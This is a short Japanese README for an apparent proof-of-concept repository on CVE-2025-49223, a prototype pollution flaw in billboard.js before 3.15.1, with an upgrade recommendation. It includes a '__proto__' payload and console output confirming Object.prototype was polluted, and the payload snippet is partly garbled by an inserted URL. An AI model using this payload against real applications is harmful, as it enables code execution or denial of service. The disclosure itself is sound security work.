billboard.js 3.15.1 より前のバージョンにおいて、関数
generateを介したプロトタイプ汚染が発見されました。攻撃者は任意のプロパティを注入することで、任意のコードを実行したり、サービス拒否 (DoS) を引き起こしたりする可能性があります。
このリポジトリは、billboard.js の 3.15.1 より前 のバージョンで発見された プロトタイプ汚染の脆弱性 を実証するものであり、CVE-2025-49223 として開示されています。
<= 3.14.0>= 3.15.1ブラウザで index.html を開き、コンソールログでプロトタイプ汚染の試行を確認してください。
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>
{
["__proto__"]: https://raw.githubusercontent.com/louay-075/cve-2025-49223-billboardjs-poc/HEAD/%7B
polluted: "polluted_via_string_key"
}
}
🔥 string key '__proto__' -> POLLUTED! Value: polluted_via_string_key
これにより、攻撃者が Object.prototype を汚染し、ページ全体で今後作成されるあらゆるオブジェクトに影響を与える可能性があることが確認されます。
悪用に成功すると、以下が発生する可能性があります:
billboard.js をバージョン 3.15.1 以降 にアップグレードしてください⚠️ 免責事項: この PoC は教育および研究目的のみであり、責任を持って使用してください。